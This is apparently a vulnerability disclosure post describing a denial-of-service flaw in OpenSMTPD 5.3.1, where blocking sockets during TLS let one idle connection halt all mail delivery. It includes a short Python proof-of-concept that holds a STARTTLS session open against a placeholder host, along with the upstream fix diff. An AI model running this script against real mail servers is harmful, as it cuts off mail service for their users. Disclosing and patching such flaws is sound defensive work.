The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its sockets in blocking mode, allowing an attacker to prevent all mail delivery simply by holding a socket open. I discovered this accidentally, as I noticed my HP printer's smtp client would keep the connection indefinitely open after an unsuccessful authentication attempt, causing no more mail to be delivered until I SIGKILL'd my smtpd process or unplugged my printer. The following reproduces the attack trivially: #!/usr/bin/env python2 import smtplib import time print "[+] Connecting to server and initiating TLS" smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587) smtp.starttls() print "[+] No clients will be able to connect as long as this remains open." time.sleep(100000000) Apparently this was fixed recently upstream, noting "evil client" in the commit message: http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0 A snapshot has been posted to http://www.opensmtpd.org/archives/ , but no patch release has yet been made. diff --git a/smtpd/ioev.c b/smtpd/ioev.c index fcd2452..5094cc4 100644 --- a/smtpd/ioev.c +++ b/smtpd/ioev.c @@ -678,11 +678,11 @@ io_start_tls(struct io *io, void *ssl) if (mode == IO_WRITE) { io->state = IO_STATE_CONNECT_SSL; SSL_set_connect_state(io->ssl); - io_reset(io, EV_READ | EV_WRITE, io_dispatch_connect_ssl); + io_reset(io, EV_WRITE, io_dispatch_connect_ssl); } else { io->state = IO_STATE_ACCEPT_SSL; SSL_set_accept_state(io->ssl); - io_reset(io, EV_READ | EV_WRITE, io_dispatch_accept_ssl); + io_reset(io, EV_READ, io_dispatch_accept_ssl); } return (0); @@ -856,14 +856,16 @@ io_dispatch_write_ssl(int fd, short event, void *humppa) void io_reload_ssl(struct io *io) { - short ev = EV_READ|EV_WRITE; + short ev = 0; void (*dispatch)(int, short, void*) = NULL; switch (io->state) { case IO_STATE_CONNECT_SSL: + ev = EV_WRITE; dispatch = io_dispatch_connect_ssl; break; case IO_STATE_ACCEPT_SSL: + ev = EV_READ; dispatch = io_dispatch_accept_ssl; break; case IO_STATE_UP: diff --git a/smtpd/smtp.c b/smtpd/smtp.c index 55f8772..a306baa 100644 --- a/smtpd/smtp.c +++ b/smtpd/smtp.c @@ -442,6 +442,7 @@ smtp_accept(int fd, short event, void *p) close(sock); return; } + io_set_blocking(sock, 0); sessions++; stat_increment("smtp.session", 1); Jason